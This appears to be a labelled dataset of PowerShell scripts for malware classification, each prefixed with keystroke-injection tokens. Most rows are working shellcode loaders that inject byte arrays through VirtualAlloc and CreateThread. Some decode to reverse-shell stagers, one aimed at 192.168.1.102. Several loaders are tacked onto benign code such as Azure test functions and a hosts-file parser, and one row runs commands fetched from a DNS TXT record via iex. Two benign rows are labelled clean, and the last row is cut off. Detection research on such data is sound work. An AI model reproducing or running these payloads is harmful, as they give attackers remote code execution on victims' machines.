"win+r enter powershell enter enter enter function Get-HostFileEntries{ enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$false)] enter [String] enter $Filter enter ) enter function New-ObjectHostFileEntry{ enter param( enter [string]$IP, enter [string]$DNS enter ) enter New-Object PSObject -Property @{ enter IP = $IP enter DNS = $DNS enter } enter } enter $Entries = $(get-content ""$env:windir\System32\drivers\etc\hosts"") | %{ enter enter if(!$_.StartsWith("" enter enter $IP = ([regex]""(([2]([0-4][0-9]|[5][0-5])|[0-1]?[0-9]?[0-9])[.]){3}(([2]([0-4][0-9]|[5][0-5])|[0-1]?[0-9]?[0-9]))"").match($_).value enter $DNS = ($_ -replace $IP, """") -replace '\s+',"""" enter enter if($Filter -and (($IP -match $Filter) -or ($DNS -match $Filter))){ enter enter New-ObjectHostFileEntry -IP $IP -DNS $DNS enter enter }elseif($Filter -eq """"){ enter enter New-ObjectHostFileEntry -IP $IP -DNS $DNS enter } enter } enter } enter enter if($Entries -ne $Null){ enter $Entries enter }else{ enter Write-Error ""No entries found in host file"" enter } enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xc1,0xd9,0x74,0x24,0xf4,0x5a,0xbe,0xb3,0x95,0xbf,0x3c,0x29,0xc9,0xb1,0x47,0x83,0xc2,0x04,0x31,0x72,0x14,0x03,0x72,0xa7,0x77,0x4a,0xc0,0x2f,0xf5,0xb5,0x39,0xaf,0x9a,0x3c,0xdc,0x9e,0x9a,0x5b,0x94,0xb0,0x2a,0x2f,0xf8,0x3c,0xc0,0x7d,0xe9,0xb7,0xa4,0xa9,0x1e,0x70,0x02,0x8c,0x11,0x81,0x3f,0xec,0x30,0x01,0x42,0x21,0x93,0x38,0x8d,0x34,0xd2,0x7d,0xf0,0xb5,0x86,0xd6,0x7e,0x6b,0x37,0x53,0xca,0xb0,0xbc,0x2f,0xda,0xb0,0x21,0xe7,0xdd,0x91,0xf7,0x7c,0x84,0x31,0xf9,0x51,0xbc,0x7b,0xe1,0xb6,0xf9,0x32,0x9a,0x0c,0x75,0xc5,0x4a,0x5d,0x76,0x6a,0xb3,0x52,0x85,0x72,0xf3,0x54,0x76,0x01,0x0d,0xa7,0x0b,0x12,0xca,0xda,0xd7,0x97,0xc9,0x7c,0x93,0x00,0x36,0x7d,0x70,0xd6,0xbd,0x71,0x3d,0x9c,0x9a,0x95,0xc0,0x71,0x91,0xa1,0x49,0x74,0x76,0x20,0x09,0x53,0x52,0x69,0xc9,0xfa,0xc3,0xd7,0xbc,0x03,0x13,0xb8,0x61,0xa6,0x5f,0x54,0x75,0xdb,0x3d,0x30,0xba,0xd6,0xbd,0xc0,0xd4,0x61,0xcd,0xf2,0x7b,0xda,0x59,0xbe,0xf4,0xc4,0x9e,0xc1,0x2e,0xb0,0x31,0x3c,0xd1,0xc1,0x18,0xfa,0x85,0x91,0x32,0x2b,0xa6,0x79,0xc3,0xd4,0x73,0x17,0xc6,0x42,0x11,0xa8,0xc1,0x99,0x81,0x2a,0xd2,0x8c,0x0d,0xa2,0x34,0xfe,0xfd,0xe4,0xe8,0xbe,0xad,0x44,0x59,0x56,0xa4,0x4a,0x86,0x46,0xc7,0x80,0xaf,0xec,0x28,0x7d,0x87,0x98,0xd1,0x24,0x53,0x39,0x1d,0xf3,0x19,0x79,0x95,0xf0,0xde,0x37,0x5e,0x7c,0xcd,0xaf,0xae,0xcb,0xaf,0x79,0xb0,0xe1,0xda,0x85,0x24,0x0e,0x4d,0xd2,0xd0,0x0c,0xa8,0x14,0x7f,0xee,0x9f,0x2f,0xb6,0x7a,0x60,0x47,0xb7,0x6a,0x60,0x97,0xe1,0xe0,0x60,0xff,0x55,0x51,0x33,0x1a,0x9a,0x4c,0x27,0xb7,0x0f,0x6f,0x1e,0x64,0x87,0x07,0x9c,0x53,0xef,0x87,0x5f,0xb6,0xf1,0xf4,0x89,0xfe,0x87,0x14,0x0a;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1501214e-05,0.9999485
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0xd3,0x86,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x3f,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xe9,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0xc3,0x01,0xc3,0x29,0xc6,0x75,0xe9,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21944e-05,0.9999478
"win+r enter powershell enter enter enter function Expand-CItem enter { enter enter [OutputType([IO.DirectoryInfo])] enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $Path, enter enter [string] enter enter $OutDirectory, enter enter [Switch] enter enter $Force enter ) enter enter Set-StrictMode -Version 'Latest' enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter Add-Type -Path (Join-Path -Path $CarbonBinDir -ChildPath 'Ionic.Zip.dll' -Resolve) enter enter $Path = Resolve-Path -Path $Path | Select-Object -ExpandProperty 'ProviderPath' enter if( -not $Path ) enter { enter return enter } enter enter if( -not (Test-CZipFile -Path $Path) ) enter { enter Write-Error ('File ''{0}'' is not a ZIP file.' -f $Path) enter return enter } enter enter if( $OutDirectory ) enter { enter $OutDirectory = Resolve-CFullPath -Path $OutDirectory enter if( (Test-Path -Path $OutDirectory -PathType Container) ) enter { enter if( -not $Force -and (Get-ChildItem -LiteralPath $OutDirectory | Measure-Object | Select-Object -ExpandProperty Count) ) enter { enter Write-Error ('Output directory ''{0}'' is not empty. Use the `-Force` switch to overwrite existing files/directories.' -f $OutDirectory) enter return enter } enter } enter } enter else enter { enter $OutDirectory = 'Carbon+Expand-CItem+{0}+{1}' -f (Split-Path -Leaf -Path $Path),([IO.Path]::GetRandomFileName()) enter $OutDirectory = Join-Path -Path $env:TEMP -ChildPath $OutDirectory enter $null = New-Item -Path $OutDirectory -ItemType 'Directory' enter } enter enter $zipFile = [Ionic.Zip.ZipFile]::Read($Path) enter try enter { enter $zipFile.ExtractAll($OutDirectory, [Ionic.Zip.ExtractExistingFileAction]::OverwriteSilently) enter } enter finally enter { enter $zipFile.Dispose() enter } enter enter Get-Item -Path $OutDirectory enter } enter enter",0,0,0.9755053,0.024494678
"win+r enter powershell enter enter enter  enter function Test-VirtualMachineScaleSetDiskEncryptionExtension enter { enter enter [string]$loc = Get-ComputeVMLocation; enter $loc = $loc.Replace(' ', ''); enter $rgname = 'adetstrg'; enter $vmssName = 'vmssadetst'; enter $keyVaultResourceId = '/subscriptions/5393f919-a68a-43d0-9063-4b2bda6bffdf/resourceGroups/suredd-rg/providers/Microsoft.KeyVault/vaults/sureddeuvault'; enter $diskEncryptionKeyVaultUrl = 'https://sureddeuvault.vault.azure.net'; enter enter $vmssResult = Get-AzVmss -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $vmssInstanceViewResult = Get-AzVmss -ResourceGroupName $rgname -VMScaleSetName $vmssName -InstanceView; enter Set-AzVmssDiskEncryptionExtension -ResourceGroupName $rgname -VMScaleSetName $vmssName ` enter -DiskEncryptionKeyVaultUrl $diskEncryptionKeyVaultUrl -DiskEncryptionKeyVaultId $keyVaultResourceId -Force enter $result = Get-AzVmssDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $result_string = $result | Out-String; enter $result = Get-AzVmssVMDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $result_string = $result | Out-String; enter } enter function Test-DisableVirtualMachineScaleSetDiskEncryption enter { enter enter [string]$loc = Get-ComputeVMLocation; enter $loc = $loc.Replace(' ', ''); enter $rgname = 'adetstrg'; enter $vmssName = 'vmssadetst'; enter enter $result = Get-AzVmssDiskEncryption; enter $result_string = $result | Out-String; enter enter $result = Get-AzVmssDiskEncryption -ResourceGroupName $rgname; enter $result_string = $result | Out-String; enter enter $result = Get-AzVmssDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $result_string = $result | Out-String; enter enter $result = Get-AzVmssVMDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $result_string = $result | Out-String; enter enter $result = Get-AzVmssVMDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName -InstanceId 4; enter $result_string = $result | Out-String; enter enter $result = Disable-AzVmssDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName -Force; enter $result_string = $result | Out-String; enter enter $result = Get-AzVmssDiskEncryption -ResourceGroupName $rgname; enter $result_string = $result | Out-String; enter enter $result = Get-AzVmssDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $result_string = $result | Out-String; enter enter $result = Get-AzVmssVMDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $result_string = $result | Out-String; enter enter $result = Get-AzVmssVMDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName -InstanceId 4; enter $result_string = $result | Out-String; enter } enter function Test-DisableVirtualMachineScaleSetDiskEncryption2 enter { enter enter [string]$loc = Get-ComputeVMLocation; enter $loc = $loc.Replace(' ', ''); enter $rgname = 'adetst2rg'; enter $vmssName = 'vmssadetst2'; enter enter $result = Disable-AzVmssDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName -Force; enter $result_string = $result | Out-String; enter } enter function Test-GetVirtualMachineScaleSetDiskEncryptionStatus enter { enter enter [string]$loc = Get-ComputeVMLocation; enter $loc = $loc.Replace(' ', ''); enter $rgname = 'adetst3rg'; enter $vmssName = 'vmssadetst3'; enter enter $vmssResult = Get-AzVmss -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter enter $vmssInstanceViewResult = Get-AzVmss -ResourceGroupName $rgname -VMScaleSetName $vmssName -InstanceView; enter $output = $vmssInstanceViewResult | Out-String; enter enter $result = Get-AzVmssDiskEncryptionStatus -ResourceGroupName $rgname; enter $output = $result | Out-String; enter enter $result = Get-AzVmssDiskEncryptionStatus -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $output = $result | Out-String; enter enter $result = Get-AzVmssVMDiskEncryptionStatus -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $output = $result | Out-String; enter enter $result = Get-AzVmssVMDiskEncryptionStatus -ResourceGroupName $rgname -VMScaleSetName $vmssName -InstanceId ""7""; enter $output = $result | Out-String; enter } enter function Test-GetVirtualMachineScaleSetDiskEncryptionDataDisk enter { enter $rgname = 'adetst4rg'; enter $vmssName = 'vmssadetst4'; enter enter $result = Get-AzVmssDiskEncryption -ResourceGroupName $rgname; enter $output = $result | Out-String; enter enter $result = Get-AzVmssDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $output = $result | Out-String; enter enter $job = Disable-AzVmssDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName -Force -AsJob; enter $result = $job | Wait-Job; enter Assert-AreEqual ""Completed"" $result.State; enter enter $result = Get-AzVmssDiskEncryption -ResourceGroupName $rgname; enter $output = $result | Out-String; enter enter $result = Get-AzVmssDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter $output = $result | Out-String; enter enter $result = Get-AzVmssVMDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName; enter Assert-AreEqual ""NotEncrypted"" $result[0].DataVolumesEncrypted; enter $output = $result | Out-String; enter enter $result = Get-AzVmssVMDiskEncryption -ResourceGroupName $rgname -VMScaleSetName $vmssName -InstanceId ""4""; enter Assert-AreEqual ""NotEncrypted"" $result.DataVolumesEncrypted; enter $output = $result | Out-String; enter } enter enter $wMcu = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $wMcu -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x76,0x56,0x75,0xfb,0xdb,0xce,0xd9,0x74,0x24,0xf4,0x5e,0x33,0xc9,0xb1,0x6f,0x83,0xee,0xfc,0x31,0x56,0x0f,0x03,0x56,0x79,0xb4,0x80,0x07,0x6d,0xb1,0x6b,0xf8,0x6d,0xa2,0xe2,0x1d,0x5c,0xf0,0x91,0x56,0xcc,0xc4,0xd2,0x3b,0xfc,0xaf,0xb7,0xaf,0x77,0xdd,0x1f,0xdf,0x30,0x68,0x46,0xee,0xc1,0x5c,0x46,0xbc,0x01,0xfe,0x3a,0xbf,0x55,0x20,0x02,0x70,0xa8,0x21,0x43,0x6d,0x42,0x73,0x1c,0xf9,0xf0,0x64,0x29,0xbf,0xc8,0x85,0xfd,0xcb,0x70,0xfe,0x78,0x0b,0x04,0xb4,0x83,0x5c,0xb4,0xc3,0xcc,0x44,0xbf,0x8c,0xec,0x75,0x6c,0xcf,0xd1,0x3c,0x19,0x24,0xa1,0xbe,0xcb,0x74,0x4a,0xf1,0x33,0xda,0x75,0x3d,0xbe,0x22,0xb1,0xfa,0x20,0x51,0xc9,0xf8,0xdd,0x62,0x0a,0x82,0x39,0xe6,0x8f,0x24,0xca,0x50,0x74,0xd4,0x1f,0x06,0xff,0xda,0xd4,0x4c,0xa7,0xfe,0xeb,0x81,0xd3,0xfb,0x60,0x24,0x34,0x8a,0x32,0x03,0x90,0xd6,0xe1,0x2a,0x81,0xb2,0x44,0x52,0xd1,0x1b,0x39,0xf6,0x99,0x8e,0x2e,0x80,0xc3,0xc6,0xde,0xe8,0x8f,0x16,0x76,0x84,0x06,0x79,0xef,0xe3,0x3f,0xd1,0x87,0xbf,0xc8,0xfc,0x50,0xbf,0xe2,0x30,0xa1,0x68,0x5a,0x64,0x0a,0xc1,0x0c,0xb0,0xe2,0x94,0x6b,0x3b,0xdf,0x8c,0x14,0x9f,0xee,0x9b,0x84,0x4e,0x7a,0x1f,0x76,0x20,0x10,0x4f,0x2b,0x92,0x8c,0x38,0x42,0x8d,0x8a,0x38,0x81,0x59,0x5d,0x9e,0x1b,0x4c,0x33,0x48,0x5c,0x42,0xd3,0x0c,0x0e,0xf0,0x41,0x5c,0xfd,0xa4,0x0d,0xb5,0x54,0x6b,0xf6,0xb6,0x82,0xfa,0xce,0x23,0x3d,0xa6,0xa6,0x33,0x0e,0x58,0x36,0xbd,0x91,0x32,0x32,0xed,0x3b,0xdc,0x6c,0x65,0xc9,0xa4,0x0e,0xf3,0xce,0xfc,0x1f,0x03,0x67,0xa8,0x08,0xac,0xde,0x3e,0x9b,0x54,0xc7,0xc5,0x1c,0x8d,0x72,0xf9,0x97,0x0e,0x36,0xf5,0xd3,0x32,0xc8,0x09,0xdb,0x27,0x19,0xe0,0x4b,0xb7,0x9a,0xf3,0x83,0x14,0x65,0x0c,0xac,0x4a,0xdc,0x9c,0x20,0xf6,0x85,0x0d,0xb4,0xd6,0x20,0xaa,0x51,0x27,0x40,0x21,0xa8,0xe7,0xc9,0xe6,0xa0,0xe5,0x9f,0x04,0x64,0x80,0x5d,0x63,0x86,0x03,0x0a,0xa9,0x70,0x71,0x85,0xb2,0xa9,0x15,0x2b,0x8d,0x37,0xa2,0x48,0x0e,0x9e,0x16,0x04,0x9d,0xac,0xb2,0xad,0xac,0xec,0x0f,0xae,0x9e,0xbd,0x39,0xd9,0x0c,0xab,0x4f,0xfb,0xce,0x06,0xca,0x3c,0x44,0x85,0x8d,0x39,0x65,0xa1,0x3b,0x28,0x66,0x1d,0x14,0x21,0x22,0xb9,0x98,0x69,0xf8,0xa9,0x8d,0xde,0x50,0x72,0x31,0x35,0x2f,0x68,0xc9,0x5d,0xfe,0x23,0xba,0x67,0x69,0x44,0x68,0x97,0x43,0x20,0x8d,0x30,0x04,0x85,0x06,0xd1,0x53,0x1a,0xcd,0x44,0x5c,0x8c,0x1e,0x2d,0xfe,0x1a,0x20,0x9b,0x17,0x32,0x21,0xdb,0x17,0x74,0xb1,0x56,0x8b,0x1d,0x22,0xe7,0x65,0xb8,0xc4,0x62,0x7a,0xaa,0x33,0x92,0x85,0xd5,0x5e,0x0d,0x1e,0x5c,0xed,0xa1,0xf0,0xfd,0x7e,0x57,0x0d;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$5elj=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($5elj.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$5elj,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1928884e-05,0.999948
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x6e,0x65,0x74,0x00,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x03,0x53,0x53,0x68,0x90,0x1f,0x00,0x00,0xe8,0x8c,0x00,0x00,0x00,0x2f,0x2d,0x41,0x5f,0x36,0x59,0x00,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x00,0x32,0xe0,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0x0a,0x5f,0x68,0x80,0x33,0x00,0x00,0x89,0xe0,0x6a,0x04,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x0a,0x4f,0x75,0xd9,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x68,0x00,0x00,0x40,0x00,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x00,0x20,0x00,0x00,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcd,0x8b,0x07,0x01,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x75,0xff,0xff,0xff,0x31,0x39,0x32,0x2e,0x31,0x36,0x38,0x2e,0x31,0x2e,0x31,0x30,0x32,0x00;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1578278e-05,0.9999484
"win+r enter powershell enter enter enter $SubscriptionId = '' enter enter $primaryResourceGroupName = ""myPrimaryResourceGroup-$(Get-Random)"" enter $primaryLocation = ""westus2"" enter enter $secondaryResourceGroupName = ""mySecondaryResourceGroup-$(Get-Random)"" enter $secondaryLocation = ""eastus"" enter enter $adminSqlLogin = ""SqlAdmin"" enter $password = ""ChangeYourAdminPassword1"" enter enter $primaryServerName = ""primary-server-$(Get-Random)"" enter $secondaryServerName = ""secondary-server-$(Get-Random)"" enter enter $databaseName = ""mySampleDatabase"" enter enter $primaryStartIp = ""0.0.0.0"" enter $primaryEndIp = ""0.0.0.0"" enter $secondaryStartIp = ""0.0.0.0"" enter $secondaryEndIp = ""0.0.0.0"" enter Set-AzContext -SubscriptionId $subscriptionId enter $primaryResourceGroup = New-AzResourceGroup -Name $primaryResourceGroupName -Location $primaryLocation enter $secondaryResourceGroup = New-AzResourceGroup -Name $secondaryResourceGroupName -Location $secondaryLocation enter $primaryServer = New-AzSqlServer -ResourceGroupName $primaryResourceGroupName ` enter -ServerName $primaryServerName ` enter -Location $primaryLocation ` enter -SqlAdministratorCredentials $(New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $adminSqlLogin, $(ConvertTo-SecureString -String $password -AsPlainText -Force)) enter $secondaryServer = New-AzSqlServer -ResourceGroupName $secondaryResourceGroupName ` enter -ServerName $secondaryServerName ` enter -Location $secondaryLocation ` enter -SqlAdministratorCredentials $(New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $adminSqlLogin, $(ConvertTo-SecureString -String $password -AsPlainText -Force)) enter $primaryserverfirewallrule = New-AzSqlServerFirewallRule -ResourceGroupName $primaryResourceGroupName ` enter -ServerName $primaryservername ` enter -FirewallRuleName ""AllowedIPs"" -StartIpAddress $primaryStartIp -EndIpAddress $primaryEndIp enter $secondaryserverfirewallrule = New-AzSqlServerFirewallRule -ResourceGroupName $secondaryResourceGroupName ` enter -ServerName $secondaryservername ` enter -FirewallRuleName ""AllowedIPs"" -StartIpAddress $secondaryStartIp -EndIpAddress $secondaryEndIp enter $database = New-AzSqlDatabase -ResourceGroupName $primaryResourceGroupName ` enter -ServerName $primaryServerName ` enter -DatabaseName $databaseName -RequestedServiceObjectiveName ""S0"" enter $database = Get-AzSqlDatabase -DatabaseName $databaseName -ResourceGroupName $primaryResourceGroupName -ServerName $primaryServerName enter $database | New-AzSqlDatabaseSecondary -PartnerResourceGroupName $secondaryResourceGroupName -PartnerServerName $secondaryServerName -AllowConnections ""All"" enter $database = Get-AzSqlDatabase -DatabaseName $databaseName -ResourceGroupName $secondaryResourceGroupName -ServerName $secondaryServerName enter $database | Set-AzSqlDatabaseSecondary -PartnerResourceGroupName $primaryResourceGroupName -Failover enter $database = Get-AzSqlDatabase -DatabaseName $databaseName -ResourceGroupName $secondaryResourceGroupName -ServerName $secondaryServerName enter $database | Get-AzSqlDatabaseReplicationLink -PartnerResourceGroupName $primaryResourceGroupName -PartnerServerName $primaryServerName enter $database = Get-AzSqlDatabase -DatabaseName $databaseName -ResourceGroupName $secondaryResourceGroupName -ServerName $secondaryServerName enter $secondaryLink = $database | Get-AzSqlDatabaseReplicationLink -PartnerResourceGroupName $primaryResourceGroupName -PartnerServerName $primaryServerName enter $secondaryLink | Remove-AzSqlDatabaseSecondary enter if(''+(nslookup -q=txt p.s.pn.ns.sse.net.pl) -match '@(.*)@'){iex $matches[1]} enter enter",1,1,6.126906e-05,0.9999387
"win+r powershell enter $ZAl5 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(Int enter Ptr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""k enter ernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes enter , uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFl enter ags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mem enter set(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $ZAl5 - enter Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xce enter ,0xd9,0x74,0x24,0xf4,0x5e,0xbd,0xca,0x8a,0x52,0x62,0x33,0xc9,0xb1,0x58,0x31,0x6e enter ,0x1a,0x83,0xee,0xfc,0x03,0x6e,0x16,0xe2,0x3f,0x76,0xba,0xe0,0xbf,0x87,0x3b,0x85 enter ,0x36,0x62,0x0a,0x85,0x2c,0xe6,0x3d,0x35,0x27,0xaa,0xb1,0xbe,0x65,0x5f,0x41,0xb2 enter ,0xa1,0x50,0xe2,0x79,0x97,0x5f,0xf3,0xd2,0xeb,0xfe,0x77,0x29,0x3f,0x21,0x49,0xe2 enter ,0x32,0x20,0x8e,0x1f enter enter",1,1,5.441713e-05,0.9999455
